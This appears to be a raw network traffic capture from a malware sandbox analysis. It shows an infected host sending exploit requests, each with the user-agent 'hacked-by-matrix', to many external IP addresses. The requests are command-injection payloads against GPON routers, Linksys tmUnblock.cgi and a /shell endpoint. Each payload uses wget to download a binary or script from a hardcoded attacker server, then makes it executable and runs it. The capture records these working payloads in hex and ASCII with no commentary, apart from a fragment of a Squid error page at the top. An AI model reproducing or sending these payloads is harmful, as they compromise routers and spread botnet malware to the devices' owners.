77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 33 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2023 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2023 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;fon

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.23	40424	5.39.106.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:06.655050039 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:06.818497896 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:06 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.23	38214	109.114.208.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113698006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.23	47820	79.34.12.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113714933 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.23	59996	178.188.138.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113720894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.23	43144	37.65.5.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113733053 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.23	49780	212.127.22.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113744974 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.23	53768	37.193.204.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113746881 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.23	38780	5.119.1.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113781929 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.23	40034	79.72.68.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113806963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.23	55458	210.26.101.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113830090 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.23	54604	109.183.14.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113837004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.23	46926	118.162.148.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113892078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.23	55138	37.66.112.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113892078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.23	58204	210.210.156.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.113910913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.23	38716	31.136.87.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.198590994 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:07.835638046 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:09.082849979 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:11.738508940 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
